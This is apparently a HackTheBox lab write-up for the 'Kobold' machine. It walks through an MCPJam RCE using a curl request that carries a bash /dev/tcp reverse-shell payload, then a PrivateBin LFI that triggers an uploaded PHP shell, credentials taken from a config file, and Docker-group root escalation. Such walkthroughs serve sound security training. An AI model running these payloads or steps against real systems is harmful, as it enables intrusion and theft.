> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/easy/kobold.md).
# Kobold
Kobold is a Easy Linux HackTheBox Machine with two ways to get root
## Reconnaissance
As always we start our machine with rustscan
{% code overflow="wrap" %}
```bash
rustscan -a 10.129.13.66 -b 1000 -t 5000 -- -A -sCV
```
{% endcode %}
Hmm 3552 port open thats not the usual port
so lets start with adding `kobold.htb` in `/etc/hosts`
Next up lets see what we have on port 80 , ok we see nothing interesting here.
### sudomain enumeration
{% code overflow="wrap" %}
```bash
┌──(Eth3real㉿DΣDSEC)-[~/htb/labs/Kobold]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb \
-H "Host: FUZZ.kobold.htb" \
-mc 200
```
{% endcode %}
Add both subdomains to our `/etc/hosts`
### MCPJam
Accessing site mcp subdomain we can see MCPJam on the logo and we get the version number in settings tab
searching for **MCPJam version v1.4.2** we get a CVE thats leads to RCE
**CVE-2026-23744** ( Reference below )
{% embed url="" %}
### Arcane
Accessing the site on **port 3552** leads to Arcane login page
we can see **version 1.13.0** used for arcane
Though I was not able to found anything else , like prior version was vulnerable to command injection but that is fixed in our case
### PrivateBin
Checking on our remaining domain `bin.kobol.htb` we see PrivateBin is running with **version 2.0.2**
Searching about it Exploit leads us to a CVE talking about LFI
**CVE-2025-64714 :**
{% embed url="" %}
And this will be Used later
## Exploitation
sending reverse shell payload to `/api/mcp/connect`
**PAYLOAD :**
```bash
┌──(Eth3real㉿DΣDSEC)-[~/htb/labs/Kobold]
└─$ curl -k https://mcp.kobold.htb/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp// 0>&1"],
"env": {}
},
"serverId": "mytest"
}'
```
We get a **ben** user shell with seemingly interesting group **operator**.
```bash
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:~$ cat user.txt
da727833bf120b172fb4195b6fd96ee2
```
## Privilege Escalation
Eventually I found two ways to get root on this machine
### Intended way
Checking for what services are running
```bash
ben@kobold:~$ ss -tulpn
```
```bash
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:8000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:6274 0.0.0.0:* users:(("node",pid=1637,fd=32))
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:44453 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 [::]:8000 [::]:*
tcp LISTEN 0 4096 *:3552 *:*
tcp LISTEN 0 4096 [::]:22 [::]:*
```
we see PrivateBin is running on port 8080
Exploring more we see `/privatebin-date` in root path and we have all permissions on `/data` folder inside `/privatebin-data`
and we know what we can trigger a php file using the known vulnerability in current PrivateBin version
{% embed url="" %}
so uploading a **shell.php** in `/data` folder and triggering it with the given curl command we can get a shell
* Upload a rev shell ( I used pentestmonkey )
* Trigger the shell using the curl and add `../data/shell` in the cookie
* It will automatically add the suffix php and run it
* start the listener
* we get nobody shell
```bash
/srv/cfg $ cat conf.php
```
;<?php http_response_code(403); /*
; config file for PrivateBin
;
; An explanation of each setting can be find online at https://github.com/PrivateBin/PrivateBin/wiki/Configuration.
---
;[model]
; example of DB configuration for MySQL
;class = Database
;[model_options]
;dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
;tbl = "privatebin_" ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true ; PDO::ATTR_PERSISTENT
---
;[model]
; example of DB configuration for PostgreSQL
;class = Database
;[model_options]
;dsn = "pgsql:host=localhost;dbname=privatebin"
;tbl = "privatebin_" ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true ; PDO::ATTR_PERSISTENT
---
[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_" ; table prefix
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"
opt[12] = true ; PDO::ATTR_PERSISTENT
---
;[model]
; example of DB configuration for PostgreSQL
;class = Database
;[model_options]
;dsn = "pgsql:host=localhost;dbname=privatebin"
;tbl = "privatebin_" ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true ; PDO::ATTR_PERSISTENT
---
Hmm we have two passwords in conf file
now we can use them for password spraying
after trying this passwords everywhere
we **successfully logged into Arcane**
using the following creds **`arcane:ComplexP@sswordAdmin1928`**
we see our privatebin image.
we will use that same image and will create a new container but with our root(/) path mounted to /mnt of newly created container also with root user and privileged mode on ( steps below )
### Unintended way
This one is easier
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:~$ cat /etc/group | grep docker
docker:x:111:alice
ben@kobold:~$ docker ps
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied
ben@kobold:~$ newgrp docker
ben@kobold:~$ id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
ben@kobold:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3df198531fda privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.loca…" 5 minutes ago Up 5 minutes 8080/tcp EnoughPrivileged
4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 5 weeks ago Up 5 hours 127.0.0.1:8080->8080/tcp bin
ben@kobold:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
mysql latest f66b7a288113 6 weeks ago 922MB
privatebin/nginx-fpm-alpine 2.0.2 f5f5564e6731 4 months ago 122MB
we can create a new group name docker
now we are able to perform all the docker related ( fun ) operations
docker images to list the images we have we can see a mysql image we can use that to mount our root(/) to /mnt of new container
Their we go we get root with two ways, Thanks for reading😊.
